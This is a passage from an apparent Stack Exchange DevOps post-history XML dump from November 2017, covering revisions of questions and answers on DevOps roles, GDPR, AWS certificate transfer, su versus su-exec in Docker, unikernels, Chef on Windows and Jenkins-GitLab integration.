mean for his case), that's he's working in isolation because the job is presented as DevOps something or plain operational thing the other people in his team doesn't wish to work on.&#xD;&#xA;&#xD;&#xA;Let's be honest, there will always be ops and dev, the main idea behind devops is sharing the responsibilities as such that there's no hand over of a product from dev to ops or just supply of platforms from ops to dev. The primary goal is bringing more collaboration in a team, starting to name self Devops Engineer is breaking this idea by putting in the name you can do both at the same level of expertise which is rarely true.&#xD;&#xA;&#xD;&#xA;The first thing to do in my opinion would be to present the tools to the team, give everyone a basic knowledge on the tools and transfer the responsibility to configure/code the tools to the whole team.  &#xD;&#xA;The main idea behind this is moving from &quot;the one doing the things&quot; to &quot;the one which support and give references implementations&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/157/what-is-the-difference-between-sysadmin-and-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="7886" PostHistoryTypeId="5" PostId="2259" RevisionGUID="53f6e6dd-6215-4737-9e68-58698c171da9" CreationDate="2017-11-09T22:21:29.007" UserId="40" Comment="deleted 43 characters in body" Text="The [General Data Protection Regulation (GDPR)](http://www.eugdpr.org) is a set of rules to improve the protection of data about European citizens. Quote from this link:&#xD;&#xA;&#xD;&#xA;&gt; The EU General Data Protection Regulation (GDPR) is the most important change in data privacy regulation in 20 years.&#xD;&#xA;&#xD;&#xA;Refer to [GDPR Key Changes][1] for a summary of what it is all about, especially the *Data Subject Rights*, such as:&#xD;&#xA;&#xD;&#xA;- Breach Notification.&#xD;&#xA;- Right to Access.&#xD;&#xA;- Right to be Forgotten.&#xD;&#xA;- Data Portability.&#xD;&#xA;- Privacy by Design.&#xD;&#xA;- ...&#xD;&#xA;&#xD;&#xA;Some GDPR facts:&#xD;&#xA;&#xD;&#xA;- GDPR will be ***enforced*** as of 25 May 2018 (that's pretty close).&#xD;&#xA;- Quote from [GDPR Key Changes][1] (about *Territorial Scope*):&#xD;&#xA;&#xD;&#xA;  &gt; ... will apply to the processing of personal data by controllers and processors in the EU, regardless of whether the processing takes place in the EU or not. The GDPR will also apply to the processing of personal data of data subjects in the EU by a controller or processor not established in the EU, where the activities relate to: offering goods or services to EU citizens (irrespective of whether payment is required) and the monitoring of behaviour that takes place within the EU. Non-Eu businesses processing the data of EU citizens will also have to appoint a representative in the EU. &#xD;&#xA;&#xD;&#xA;For anybody who is old enough to remember the *Y2K*-hype back in the 90s (i.e. the impact of it on IT systems): IMHO addressing all those Y2K issues was a piece of cake as compared to the challenge ahead with this GDPR thing.&#xD;&#xA;&#xD;&#xA;**Question(s)**: What is the impact of GDPR on DevOps, more specifically I wonder about:&#xD;&#xA;&#xD;&#xA;1. What kind of changes will be needed in the DevOps [tag:toolchain] to make them GDPR-compliant?&#xD;&#xA;2. How can DevOps-practises help (facilitate, simplify, etc) a company to become GDPR-compliant, similar to how SCM tools helped in the 90s to become Y2K compliant?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eugdpr.org/key-changes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7891" PostHistoryTypeId="2" PostId="2524" RevisionGUID="e161b1eb-ce7e-4b09-97bb-2508401edf81" CreationDate="2017-11-10T06:16:40.757" UserId="4023" Text="I have two AWS accounts. Created a load balancer on &quot;first&quot; account, requested a certificate and using it for HTTPS. &#xD;&#xA;&#xD;&#xA;Now I need to move this load balancer certificate to &quot;second&quot; account because it is requested for the same domain I need to use. &#xD;&#xA;&#xD;&#xA;What is the procedure to do this. &#xD;&#xA;&#xD;&#xA; 1. Delete certificate from first aws and request again from&#xD;&#xA;    the second aws?&#xD;&#xA; 2. Is there any way to export the certificate?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7892" PostHistoryTypeId="1" PostId="2524" RevisionGUID="e161b1eb-ce7e-4b09-97bb-2508401edf81" CreationDate="2017-11-10T06:16:40.757" UserId="4023" Text="Move Load balancer certificate to another AWS account" ContentLicense="CC BY-SA 3.0" />
  <row Id="7893" PostHistoryTypeId="3" PostId="2524" RevisionGUID="e161b1eb-ce7e-4b09-97bb-2508401edf81" CreationDate="2017-11-10T06:16:40.757" UserId="4023" Text="&lt;amazon-web-services&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7895" PostHistoryTypeId="5" PostId="2522" RevisionGUID="ca79a329-d1f9-4ba1-b129-76366b18e944" CreationDate="2017-11-10T09:40:50.770" UserId="13" Comment="added 36 characters in body" Text="I think the first flaw is in this sentence:&#xD;&#xA;&#xD;&#xA;&gt; He reports to the Development Manager, but works more closely with the&#xD;&#xA;&gt; Infrastructure Manager.&#xD;&#xA;&#xD;&#xA;Devops is a culture aiming at removing silos, if there's actual silos then he's whatever you want to name him, an engineer doing operational development, an automation expert, a developer automating infrastructure, but that's not a DevOps engineer.  &#xD;&#xA;In fact, [Devops Engineer is not a real role][1], it's more a 'chapeau' as it can encompass developer, sysadmins, testers or architect working in a common team.&#xD;&#xA;&#xD;&#xA;The main problem I see behind it is people falling in the buzzword usage of DevOps as a job title, by doing so they usually blame being alone in their field.  &#xD;&#xA;As you put it he's the only one doing ops in a dev team, that's not he's a DevOps engineer (whatever that could mean for his case), that's he's working in isolation because the job is presented as DevOps something or plain operational thing the other people in his team doesn't wish to work on.&#xD;&#xA;&#xD;&#xA;Let's be honest, there will always be ops and dev, the main idea behind devops is sharing the responsibilities as such that there's no hand over of a product from dev to ops or just supply of platforms from ops to dev. The primary goal is bringing more collaboration in a team, starting to name self Devops Engineer is breaking this idea by putting in the name you can do both at the same level of expertise which is rarely true.&#xD;&#xA;&#xD;&#xA;The first thing to do in my opinion would be to present the tools to the team, give everyone a basic knowledge on the tools and transfer the responsibility to configure/code the tools to the whole team.  &#xD;&#xA;The main idea behind this is moving from &quot;the one doing the things&quot; to &quot;the one which support and give references implementations&quot;.&#xD;&#xA;&#xD;&#xA;This complement the other answers by something actionnable in an easier way as a first step than a management reorganization.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/157/what-is-the-difference-between-sysadmin-and-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="7896" PostHistoryTypeId="2" PostId="2526" RevisionGUID="585a53d9-f67e-449e-8977-8a252bcfd984" CreationDate="2017-11-10T10:30:22.797" UserId="707" Text="In this [bash script][1] under Linux Alpine they have (line 8):&#xD;&#xA;&#xD;&#xA;    exec su-exec &quot;$ZOO_USER&quot; &quot;$0&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;As far as I know, `su-exec` is however an [Apache httpd dependecy][2] - can I avoid it installing it under Ubuntu and use some more plain alternative?&#xD;&#xA;&#xD;&#xA;I have tested so far:&#xD;&#xA;&#xD;&#xA;     su -c &quot;$0 $@&quot; $ZOO_USER&#xD;&#xA;&#xD;&#xA;But then this Docker command shows that I might have some sort of escaping/quotes error,&#xD;&#xA;&#xD;&#xA;    CMD [&quot;zkServer.sh&quot;, &quot;start-foreground&quot;]&#xD;&#xA;&#xD;&#xA;resulting in the following output. What is the difference to the original, which works fine?&#xD;&#xA;&#xD;&#xA;    No passwd entry for user 'start-foreground'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/31z4/zookeeper-docker/blob/d5d320f94212691bd6e60326e45c152ac6784210/3.4.10/docker-entrypoint.sh&#xD;&#xA;  [2]: https://serverfault.com/questions/402418/how-to-change-suexec-root-directory-from-var-www-to-home" ContentLicense="CC BY-SA 3.0" />
  <row Id="7897" PostHistoryTypeId="1" PostId="2526" RevisionGUID="585a53d9-f67e-449e-8977-8a252bcfd984" CreationDate="2017-11-10T10:30:22.797" UserId="707" Text="Interference of Docker CMD with su: works with su-exec but not with su?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7898" PostHistoryTypeId="3" PostId="2526" RevisionGUID="585a53d9-f67e-449e-8977-8a252bcfd984" CreationDate="2017-11-10T10:30:22.797" UserId="707" Text="&lt;docker&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7899" PostHistoryTypeId="5" PostId="2526" RevisionGUID="fe66a78f-e735-45ee-8f96-953b28ba8cb6" CreationDate="2017-11-10T10:50:32.390" UserId="707" Comment="added 109 characters in body" Text="In this [bash script][1] under Linux Alpine they have (line 8):&#xD;&#xA;&#xD;&#xA;    exec su-exec &quot;$ZOO_USER&quot; &quot;$0&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;As far as I know, `su-exec` is however an [Apache httpd dependecy][2] - can I avoid it installing it under Ubuntu and use some more plain alternative?&#xD;&#xA;&#xD;&#xA;I have tested so far:&#xD;&#xA;&#xD;&#xA;     su -c &quot;$0 $@&quot; $ZOO_USER&#xD;&#xA;&#xD;&#xA;But then call through Docker CMD shows that I might have some sort of escaping/quotes error,&#xD;&#xA;&#xD;&#xA;    CMD [&quot;zkServer.sh&quot;, &quot;start-foreground&quot;]&#xD;&#xA;&#xD;&#xA;resulting in the following output; obviously there is a misplacement for the username field in the command sequence. &#xD;&#xA;&#xD;&#xA;But what is then the difference to the original (su-exec), which works fine?&#xD;&#xA;&#xD;&#xA;    No passwd entry for user 'start-foreground'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/31z4/zookeeper-docker/blob/d5d320f94212691bd6e60326e45c152ac6784210/3.4.10/docker-entrypoint.sh&#xD;&#xA;  [2]: https://serverfault.com/questions/402418/how-to-change-suexec-root-directory-from-var-www-to-home" ContentLicense="CC BY-SA 3.0" />
  <row Id="7900" PostHistoryTypeId="5" PostId="2526" RevisionGUID="8d71de8c-6d69-4941-a0c6-e977776e2fb6" CreationDate="2017-11-10T14:14:18.307" UserId="707" Comment="added 35 characters in body" Text="In this [bash script][1] under Linux Alpine they have (line 8):&#xD;&#xA;&#xD;&#xA;    exec su-exec &quot;$ZOO_USER&quot; &quot;$0&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;As far as I know, `su-exec` is however an [Apache httpd dependecy][2] - can I avoid it installing it under Ubuntu and use some more plain alternative?&#xD;&#xA;&#xD;&#xA;I have tested so far:&#xD;&#xA;&#xD;&#xA;     su -c &quot;$0 $@&quot; $ZOO_USER&#xD;&#xA;&#xD;&#xA;But then the call through Docker [`CMD`][3] shows that I might have some sort of escaping/quotes error,&#xD;&#xA;&#xD;&#xA;    CMD [&quot;zkServer.sh&quot;, &quot;start-foreground&quot;]&#xD;&#xA;&#xD;&#xA;resulting in the following output; obviously there is a misplacement for the username field in the command sequence. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    No passwd entry for user 'start-foreground'&#xD;&#xA;&#xD;&#xA;But what is then the difference to the original (su-exec), which works fine? And how to get it right with `su`?&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/31z4/zookeeper-docker/blob/d5d320f94212691bd6e60326e45c152ac6784210/3.4.10/docker-entrypoint.sh&#xD;&#xA;  [2]: https://serverfault.com/questions/402418/how-to-change-suexec-root-directory-from-var-www-to-home&#xD;&#xA;  [3]: https://docs.docker.com/engine/reference/builder/#cmd" ContentLicense="CC BY-SA 3.0" />
  <row Id="7907" PostHistoryTypeId="2" PostId="2527" RevisionGUID="c834f893-641d-44cc-81b6-e046a0a93504" CreationDate="2017-11-10T16:19:03.023" UserId="739" Text="# wrong argument order to `su`&#xD;&#xA;&#xD;&#xA;`$ZOO_USER` needs to be the first argument to `su` with the `&quot;$@&quot;` coming afterwards.&#xD;&#xA;&#xD;&#xA;    su -c &quot;$0&quot; &quot;$ZOO_USER&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;It is ok for the options to come before the username.  It is a good idea to keep them in double quotes so that there aren't issues if someone accidentally puts spaces into it.&#xD;&#xA;&#xD;&#xA;Your error message reinforces that this is an order of arguments problem." ContentLicense="CC BY-SA 3.0" />
  <row Id="7908" PostHistoryTypeId="5" PostId="2527" RevisionGUID="2a07718d-f983-4c11-8b81-9c18037f7495" CreationDate="2017-11-10T16:24:07.360" UserId="739" Comment="add man page excerpt" Text="# wrong argument order to `su`&#xD;&#xA;&#xD;&#xA;`$ZOO_USER` needs to be the first argument to `su` with the `&quot;$@&quot;` coming afterwards.&#xD;&#xA;&#xD;&#xA;    su -c &quot;$0&quot; &quot;$ZOO_USER&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;It is ok for the options to come before the username.  It is a good idea to keep them in double quotes so that there aren't issues if someone accidentally puts spaces into it.&#xD;&#xA;&#xD;&#xA;Your error message reinforces that this is an order of arguments problem.&#xD;&#xA;&#xD;&#xA;## su man page excerpt&#xD;&#xA;&#xD;&#xA;&gt; Additional arguments may be provided after the username, in which case they are supplied to the user's login shell. In particular, an argument of&#xD;&#xA;`-c` will cause the next argument to be treated as a command by most command interpreters. The command will be executed by the shell specified in `/etc/passwd` for the target user.&#xD;&#xA;&#xD;&#xA;&gt; You can use the `--` argument to separate `su` options from the arguments supplied to the shell.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7909" PostHistoryTypeId="2" PostId="2528" RevisionGUID="f4c3ea12-bb13-4363-84f0-9acd551f2aea" CreationDate="2017-11-10T16:47:04.943" UserId="5154" Text="I see a lot of great answers here talking about DevOps as a culture, suggestions about how to work with management, and help defining the do’s-and-do-nots of a DevOps team or engineer. I think each of them is great, and really illustrative of many answer can be 100% right, and still be very different, or even completely ambiguous, from each other... That’s DevOps!&#xA;&#xA;This answer is just my unique perspective from experience, and may not be indicative of norms or best practice... &#xA;&#xA;But what your DevOps colleague was complaining about **is the very nature of what makes DevOps challenging and difficult**, especially when appointed the role of DevOps engineer, and not simply being a cultural mindset.&#xA;&#xA;Personally, I ***like*** being a lone wolf, because I still make valuable contributions, but also get to set my own limits, whilst persuading others to help themselves, thereby helping me, breakdown IT silos.&#xA;&#xA;**Some silos remain intact**, and that’s okay, it’s DevOps mission to work around that and try to make that silos as insignificant or invisible as possible.&#xA;&#xA;It’s possible your coworker may be realizing, or hasn’t yet realized, that **he or she does not like being a DevOps engineer**." ContentLicense="CC BY-SA 3.0" />
  <row Id="7910" PostHistoryTypeId="2" PostId="2529" RevisionGUID="74444552-8de0-42ed-90bf-2b45e3d79c9f" CreationDate="2017-11-10T19:47:22.373" UserId="5161" Text="For me, DevOps means that the development and operation of a software system becomes the responsibility of one team, instead of separate dev and ops teams. **This is a two-way street.** The best teams are made up of &quot;[T-Shaped][1]&quot; people who are experts in one field and familiar with several related fields.&#xD;&#xA;&#xD;&#xA;- Team members with Ops experience are expected to do what they do best (i.e. Ops), to teach the fundamentals of what they do best (i.e. Ops) to the others, and to learn and do jobs in related fields (i.e. Dev tasks). &#xD;&#xA;- Team members with Dev experience are expected to do what they do best (i.e. Dev), to teach the fundamentals of what they do best (i.e. Dev) to the others, and to learn and do jobs in related fields (i.e. Ops tasks).&#xD;&#xA;&#xD;&#xA;So to make the DevOps engineer feel less like a lone wolf, invite him to teach the developers how to **run** the systems, while acknowledging that he is the expert how to **design** the infrastructure. &#xD;&#xA;&#xD;&#xA;Get him involed in high-level architecture from the beginning, so that he can introduce the concerns of his specialty. (Before we had DevOps, our architecture drawings always glossed over &quot;little things&quot; like load balancers and redundant servers. Now such things are part of the very first sketches.) &#xD;&#xA;&#xD;&#xA;Expect the Devs to take some of the daily routine Ops tasks, both to build redundancy into the team and to spread the &quot;drudge&quot; jobs fairly. &#xD;&#xA;&#xD;&#xA;Expect him to contribute to the Dev effort if there are no Ops-like tasks to be done. Some DevOps I know seem to find database work a natural extension of their area of expertise, not sure if that can be generalized.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/T-shaped_skills" ContentLicense="CC BY-SA 3.0" />
  <row Id="7911" PostHistoryTypeId="5" PostId="2526" RevisionGUID="30d428ba-ee3b-4ace-8b90-223b168f6cb1" CreationDate="2017-11-10T22:14:44.527" UserId="707" Comment="added 104 characters in body" Text="In this [bash script][1] under Linux Alpine they have (line 8):&#xD;&#xA;&#xD;&#xA;    exec su-exec &quot;$ZOO_USER&quot; &quot;$0&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;As far as I know, `su-exec` is however an [Apache httpd dependecy][2] - can I avoid it installing it under Ubuntu and use some more plain alternative?&#xD;&#xA;&#xD;&#xA;I have tested so far:&#xD;&#xA;&#xD;&#xA;     su -c &quot;$0 $@&quot; $ZOO_USER&#xD;&#xA;&#xD;&#xA;But then the call through Docker [`CMD`][3] shows that I might have some sort of escaping/quotes error,&#xD;&#xA;&#xD;&#xA;    CMD [&quot;zkServer.sh&quot;, &quot;start-foreground&quot;]&#xD;&#xA;&#xD;&#xA;resulting in the following output; obviously there is a misplacement for the username field in the command sequence. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    No passwd entry for user 'start-foreground'&#xD;&#xA;&#xD;&#xA;But what is then the difference to the original (su-exec), which works fine? And how to get it right with `su`?&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;====&#xD;&#xA;&#xD;&#xA;UPD: su-exec is here a third-parthy Alpine Linux package&#xD;&#xA;https://github.com/ncopa/su-exec&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/31z4/zookeeper-docker/blob/d5d320f94212691bd6e60326e45c152ac6784210/3.4.10/docker-entrypoint.sh&#xD;&#xA;  [2]: https://serverfault.com/questions/402418/how-to-change-suexec-root-directory-from-var-www-to-home&#xD;&#xA;  [3]: https://docs.docker.com/engine/reference/builder/#cmd" ContentLicense="CC BY-SA 3.0" />
  <row Id="7912" PostHistoryTypeId="2" PostId="2530" RevisionGUID="cdabae13-7e12-4fab-a69f-83b34ba3b216" CreationDate="2017-11-10T22:37:51.257" UserId="4007" Text="There's no need to delete it from the first account. AWS will issue certificates as long as you can prove domain ownership. Nothing stopping you from having a cert for the same domain in multiple accounts." ContentLicense="CC BY-SA 3.0" />
  <row Id="7913" PostHistoryTypeId="2" PostId="2531" RevisionGUID="5f530557-f184-46b5-ab22-abadc7091b28" CreationDate="2017-11-10T22:42:54.547" UserId="4007" Text="Altho we're deploying to Kubernetes, we've found that docker-compose is a nice way of running tests in CI. Either set a `IS_TEST` flag in your container or use a separate Dockerfile where tests scripts are wired up. That way you can just run docker-compose build to test, and pull in any dependencies you might need aswell." ContentLicense="CC BY-SA 3.0" />
  <row Id="7914" PostHistoryTypeId="2" PostId="2532" RevisionGUID="b4edda01-5964-4c06-836d-9931db6a743b" CreationDate="2017-11-11T07:52:57.367" UserId="4678" Text="I am using windows 8.1, which chef I need to install for covering all chef modes like workstation, node,chef-server. &#xD;&#xA;I want all this 3 in my windows 8.1&#xD;&#xA;can anyone assist me&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7915" PostHistoryTypeId="1" PostId="2532" RevisionGUID="b4edda01-5964-4c06-836d-9931db6a743b" CreationDate="2017-11-11T07:52:57.367" UserId="4678" Text="which chef software we need to install for windows?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7916" PostHistoryTypeId="3" PostId="2532" RevisionGUID="b4edda01-5964-4c06-836d-9931db6a743b" CreationDate="2017-11-11T07:52:57.367" UserId="4678" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7917" PostHistoryTypeId="2" PostId="2533" RevisionGUID="3c20caae-012a-4bcd-83e6-fa7b41b73123" CreationDate="2017-11-11T08:58:18.333" UserId="13" Text="A node in chef terminology is a machine managed with chef-client.&#xD;&#xA;&#xD;&#xA;Chef-client is available for various OS, windows, Linux, Aix, Mac etc. &#xD;&#xA;&#xD;&#xA;However the chef-server is only available for linux.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7918" PostHistoryTypeId="50" PostId="2275" RevisionGUID="3e85fab7-b4ab-4844-b1ad-d04e6fd0a64b" CreationDate="2017-11-11T09:30:08.940" UserId="-1" />
  <row Id="7919" PostHistoryTypeId="2" PostId="2534" RevisionGUID="1ecc5939-14d5-4802-88b4-be5f90d4b519" CreationDate="2017-11-11T10:54:16.770" UserId="465" Text="The benefit of [unikernels][1] is managing a large number of applications in a protected space. (Some might say all the benefits of [Docker][2] without all the [overhead][3]). (Please don't get me wrong - I'm a huge fan of docker and use it 20 times a day in my work - I'm using this question as a a way to explore an idea). &#xD;&#xA;&#xD;&#xA;The following commentator [writes][4]:&#xD;&#xA;&#xD;&#xA;&gt; Another minor point is that outside of memory-managed code execution runtimes (JVM, Go, etc.) the usefulness of unikernels starts to rapidly decline. &#xD;&#xA;&#xD;&#xA;Now to me, a server application written in C++ (not memory managed) vs Java (memory managed) has no impact on the utility of a unikernel. In both you get the isolated protected way to manage your application lifecycle. Perhaps I'm missing something. &#xD;&#xA;&#xD;&#xA;My question is: **What does it mean that &quot;outside of memory-managed code execution runtimes (JVM, Go, etc.) the usefulness of unikernels starts to rapidly decline&quot;?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Unikernel&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Docker_(software)&#xD;&#xA;  [3]: https://blog.risingstack.com/operating-system-containers-vs-application-containers/&#xD;&#xA;  [4]: https://medium.com/@rhatr/in-defense-of-unikernels-4cdf45d0c561" ContentLicense="CC BY-SA 3.0" />
  <row Id="7920" PostHistoryTypeId="1" PostId="2534" RevisionGUID="1ecc5939-14d5-4802-88b4-be5f90d4b519" CreationDate="2017-11-11T10:54:16.770" UserId="465" Text="What does it mean that &quot;outside of memory-managed code execution runtimes (JVM, Go, etc.) the usefulness of unikernels starts to rapidly decline&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7921" PostHistoryTypeId="3" PostId="2534" RevisionGUID="1ecc5939-14d5-4802-88b4-be5f90d4b519" CreationDate="2017-11-11T10:54:16.770" UserId="465" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7922" PostHistoryTypeId="5" PostId="2531" RevisionGUID="e6d96390-20c0-4993-b454-f65c37574dd0" CreationDate="2017-11-11T17:42:54.737" UserId="60" Comment="Improved a little bit of grammar and formatting" Text="Although we're deploying to Kubernetes, we've found that `docker-compose` is a nice way of running tests in CI. Either set the `IS_TEST` flag in your container or use a separate `Dockerfile` where tests scripts are wired up. That way you can just run `docker-compose` build to test, and pull in any dependencies you might need as well." ContentLicense="CC BY-SA 3.0" />
  <row Id="7923" PostHistoryTypeId="24" PostId="2531" RevisionGUID="e6d96390-20c0-4993-b454-f65c37574dd0" CreationDate="2017-11-11T17:42:54.737" Comment="Proposed by 60 approved by 40, 4007 edit id of 525" ContentLicense="CC BY-SA 3.0" />
  <row Id="7924" PostHistoryTypeId="5" PostId="2531" RevisionGUID="d48e915e-de19-4fc7-acfe-c2d7e792501e" CreationDate="2017-11-11T17:43:33.603" UserId="4007" Comment="edited body" Text="Although we're deploying to Kubernetes, we've found that `docker-compose` is a nice way of running tests in CI. Either set the `IS_TEST` flag in your container or use a separate `Dockerfile` where tests scripts are wired up. That way you can just run `docker-compose build` to test, and pull in any dependencies you might need as well." ContentLicense="CC BY-SA 3.0" />
  <row Id="7925" PostHistoryTypeId="2" PostId="2535" RevisionGUID="76e8fbb9-6d03-4a2a-93d7-855cf0f9522a" CreationDate="2017-11-11T22:52:45.633" UserId="5174" Text="Well, I'm not a big expert on the matter and, in fact, I don't understand the statement. I've read it several times and there is no further explanation, so I cannot say it's make sense or not for me because I just don't know where the idea comes from.&#xD;&#xA;&#xD;&#xA;Anyway I'll try to expose what I think here.&#xD;&#xA;The main difference about managed and unmanaged code is who is in charge of the memmory management. If it's the developer, we're talking about unmanaged code (C language). If there is a garbage collector or any other similar mechanism, it's managed (Go, Java, .Net platform, Python even bash if you want to consider it!!). So I don't undertand how important is who reserves/frees/whatever the memmory.&#xD;&#xA;&#xD;&#xA;And, IMHO, pros of unikernels are supossed to be:&#xD;&#xA;&#xD;&#xA; 1. Performance.&#xD;&#xA;   1. Kernel modes are supressed (rings for x86, modes for arm, ...) and the application that will be running in the system, as well as any library needed, is compiled and statically linked into the kernel and the overhead introduced by these mechanism (syscalls basically) are supressed.&#xD;&#xA;   1. Kernel is reduced as much as possible. No USB, bluetooth, support for lots of FS and unnecessary code is just not compiled. Kernel gets tiny.&#xD;&#xA; 1. Security. This is a sensitive topic. Again, I think unikernels are safer than the traditinal ones. If it's a well-done job, there won't be nothing than the minimun functionalities implemented into the system, so this should reduce possible break-points. However, if any is found, this will be more dangerous. Every single process is running by the privileged privileged (and only, multiuser capabilities are disabled in unikernels) user in the system. Privileged Remote code executions can happend. However, it should be in a container-like system. You just can restart it and (in no persistent systems) all the work done by the attacker should be gone (but still an upgrade should be needed...).&#xD;&#xA;&#xD;&#xA;As I said, I cannot figure out the reason of this statement, but I think it's related to performance rather than security. In that case, I'm wondering why should be a performance improvement reducing syscalls compared to containers if:&#xD;&#xA;&#xD;&#xA; 1. Containers share the running kernel within the host where are running, so syscalls are done just once as there is just one instance of the kernel running.&#xD;&#xA;&#xD;&#xA; 1. Unikernels, as said, do not use syscalls and every procces runs in privileged mode (can access the harware directly). But, in this case (I THINK) as far as kernels are different, you need a virtualization layer, so total running kernels are 2. Unikernel has no syscalls but the host kernel does, so syscalls are not supressed and will run once. Of course, I'm assuming that no-one will run a unikernel system on a bare-metal.&#xD;&#xA;&#xD;&#xA;So, the number of syscalls should be pretty similar to the containers scenario. Isn't it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7926" PostHistoryTypeId="2" PostId="2536" RevisionGUID="117cb97a-3fc1-4fff-a184-bd457a595340" CreationDate="2017-11-12T06:31:47.260" UserId="5179" Text="I have Jenkins users authenticated by OpenLDAP and also gitlab CE instance authenticated by the same OpenLDAP.&#xD;&#xA;&#xD;&#xA;And all the three are running in three different docker contianer in the same network.&#xD;&#xA;&#xD;&#xA;I am trying to pre configure Jenkins and gitlab so that they can be resolved globally in the container world.&#xD;&#xA;&#xD;&#xA;I have Jenkins gitlab plugin pre configured in Jenkins. To add gitlab in glogal configuration,&#xD;&#xA; Gitlab API token is required to be added in gitlab section along with server URL to access all the resources of Gitlab instance.&#xD;&#xA; &#xD;&#xA;I am trying to do a curl operation from a jenkins container to Gitlab using a user name and password to Gitlab requesting for Authorization code and Private token&#xD;&#xA;for each a user as to be created in Gitlab, All the user authentication is happening using the OpenLDAP. Fot Gitlab to generate a Authorization code the user as to &#xD;&#xA;be created in Gitlab, which would not be happening if are authenticating using OpenLDAP.&#xD;&#xA;&#xD;&#xA;My Questions are&#xD;&#xA;&#xD;&#xA;1. Is it necessary to Configure Jenkins with gitlab globally to have jenkins complete access of gitlab resources,since we would require to authenticate once again from each job on a project level.&#xD;&#xA;&#xD;&#xA;2. How to preconfigure a private token or personal access token in gitlab from a docker container perspective to be persistent and to be shared with jenkins when the container spins up for the first time.&#xD;&#xA;&#xD;&#xA;3. When gitlab is authenticated using OpenLDAP, withouth the user sign in for the first time in gitlab, a user is not created in gitlab? and how to generate &#xD;&#xA;a authorization code for a user in this case.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7927" PostHistoryTypeId="1" PostId="2536" RevisionGUID="117cb97a-3fc1-4fff-a184-bd457a595340" CreationDate="2017-11-12T06:31:47.260" UserId="5179" Text="Globally configuring Gitlab with Jenkins in docker container environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="7928" PostHistoryTypeId="3" PostId="2536" RevisionGUID="117cb97a-3fc1-4fff-a184-bd457a595340" CreationDate="2017-11-12T06:31:47.260" UserId="5179" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7929" PostHistoryTypeId="5" PostId="2536" RevisionGUID="9afd156d-55e6-4cd1-92dd-58b664cc9c76" CreationDate="2017-11-12T07:09:05.487" UserId="47" Comment="fixed typos, improved readability" Text="I have Jenkins users authenticated by OpenLDAP and also gitlab CE instance authenticated by the same OpenLDAP.&#xD;&#xA;&#xD;&#xA;And all the three are running in three different docker containers in the same network.&#xD;&#xA;&#xD;&#xA;I am trying to pre configure Jenkins and Gitlab so that they can be resolved globally in the container world.&#xD;&#xA;&#xD;&#xA;I have Jenkins Gitlab plugin pre configured in Jenkins. To add Gitlab in the global configuration, a Gitlab API token is required to be added in Gitlab section along with the server URL for accessing all the resources of the Gitlab instance.&#xD;&#xA; &#xD;&#xA;I am trying to do a curl operation from a Jenkins container to Gitlab using a user name and password to Gitlab requesting for Authorization code and a Private token for each a user as to be created in Gitlab. All the user authentication is happening using the OpenLDAP. For Gitlab to generate an Authorization code the user has to be created in Gitlab, which would not be happening if the users are authenticated using OpenLDAP.&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA;1. Is it necessary to configure Jenkins with Gitlab globally to have Jenkins complete access at Gitlab resources, since we would require to authenticate once again from each job on a project level?&#xD;&#xA;&#xD;&#xA;2. How to preconfigure a private token or personal access token in Gitlab from a docker container perspective to be persistent and to be shared with Jenkins when the container spins up for the first time?&#xD;&#xA;&#xD;&#xA;3. When Gitlab is authenticated using OpenLDAP, without the user previously signing in into Gitlab, is a user not created in Gitlab? How to generate &#xD;&#xA;an authorization code for a user in this case?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
